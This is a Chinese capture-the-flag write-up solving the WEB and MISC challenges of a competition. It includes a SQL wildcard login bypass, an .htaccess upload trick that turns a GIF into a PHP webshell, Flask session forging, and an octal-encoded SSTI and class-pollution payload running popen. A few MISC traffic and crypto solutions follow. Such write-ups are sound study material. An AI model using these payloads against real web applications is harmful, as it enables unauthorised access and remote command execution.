第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(WEB和MISC全解)
WEB
SQLUP
打开题目给了一个登录页面结合名字猜测为SQL注入
查看源码发现有hint提示开发者使用的是模式匹配
所以我尝试使用%来模糊匹配,登陆成功
username=admin&password=%
进入面板之后发现有一个文件上传功能
尝试上传php文件,结果被waf,文件名字不能出现p
我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析
<FilesMatch "1.gif">
SetHandler application/x-httpd-php
</FilesMatch>
接着上传1.gif文件
之后访问uploads/1.gif
即可getshell,但是还需要提权读取flag
寻找提权命令
find / -perm -u=s -type f 2>/dev/null
发现tac命令可以使用
CandyShop
源码如下
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re
app = Flask(__name__)
app.config['SECRET_KEY'] = 'xxxxxxx'
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Register')
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Login')
class Candy:
def __init__(self, name, image):
self.name = name
self.image = image
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def verify_password(self, username, password):
return (self.username==username) & (self.password==password)
class Admin:
def __init__(self):
self.username = ""
self.identity = ""
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
Candy(name="Chocolate Bar", image="images/candy2.jpg"),
Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
form = RegistrationForm()
if form.validate_on_submit():
user = User(username=form.username.data, password=form.password.data)
users.append(user)
return redirect(url_for('login'))
return render_template('register.html', form=form)
@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
for u in users:
if u.verify_password(form.username.data, form.password.data):
session['username'] = form.username.data
session['identity'] = "guest"
return redirect(url_for('home'))
return render_template('login.html', form=form)
inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
global inventory, sold
message = None
username = session.get('username')
identity = session.get('identity')
if not username:
return redirect(url_for('register'))
if sold >= 10 and sold < 500:
sold = 0
inventory = 500
message = "But you have bought too many candies!"
return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)
if request.method == 'POST':
action = request.form.get('action')
if action == "buy_candy":
if inventory > 0:
inventory -= 3
sold += 3
if inventory == 0:
message = "All candies are sold out!"
if sold >= 500:
with open('secret.txt', 'r') as file:
message = file.read()
return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)
@app.route('/admin', methods=['GET', 'POST'])
def admin():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
admin = Admin()
merge(session,admin)
admin_user.append(admin)
return render_template('admin.html', view='index')
@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
return render_template('admin.html', view='candies', candies=candies)
@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
candy_name = request.form.get('name')
candy_image = request.form.get('image')
if candy_name and candy_image:
new_candy = Candy(name=candy_name, image=candy_image)
candies.append(new_candy)
return render_template('admin.html', view='add_candy')
@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)
@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
global inventory
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
if request.form.get('add'):
num = request.form.get('add')
inventory += int(num)
return render_template('admin.html', view='add_inventory')
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=1337)
爆破session key得到 a123456
flask-unsign -u -c "eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA"
session解密
┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc
{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}
伪造加密session
┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}'
eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto
伪造污染inventory
python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'identity':'admin','username':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"
观察源码发现存在原型链污染
@app.route('/admin', methods=['GET', 'POST'])
def admin():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
admin = Admin()
merge(session,admin)
admin_user.append(admin)
return render_template('admin.html', view='index')
并发现存在ssti漏洞
@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)
结合原型链污染,我们可以污染全局变量inventory
来造成ssti
{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}
但是源码过滤了字母和下划线
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))
尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload
input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag"
print("\\'", end="")
for letter in input:
#print(hex(ord(letter)).replace("0x", r"\x"), end="")
#print(hex(ord(letter)).replace("0x", r"\u00"), end="")
print(oct(ord(letter)).replace("0o", "\\\\"), end="")
print("\\'")
#python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"
#{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}}
# __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'
# __mro__:\'\\137\\137\\155\\162\\157\\137\\137\'
# __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'
#__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\' [132]
#__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\'
#__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'
#popen: \'\\160\\157\\160\\145\\156\'
# cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"
.eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI
MISC
BrickGame
修改一下js,跳过匹配的验证即可得到flag
漏洞探踪,流量解密
第一阶段发现上传了图片马,并通过访问gateway传参执行了命令
,尝试多个ip后使用192.168.30.234 成功解开压缩包
分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key
得到了加密的flag和key后,在后续流量包提示加密为RC4:
解密得到flag
from Crypto.Cipher import ARC4
raw = bytes.fromhex("5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d")
key = bytes.fromhex("bdb8e21eace81d5fd21ca445ccb35071")
cipher = ARC4.new(key)
plaintext = cipher.decrypt(raw)
最安全的加密方式
flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包
使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:
import hashlib
from string import printable as all
charset = all
data = open("flag.txt", "r").readlines()
md5s = dict()
for i in charset:
md5s[hashlib.md5(i.encode()).hexdigest()] = i
print("".join([md5s[i.strip()] for i in data]))
你好,可以提供下misc题的附件吗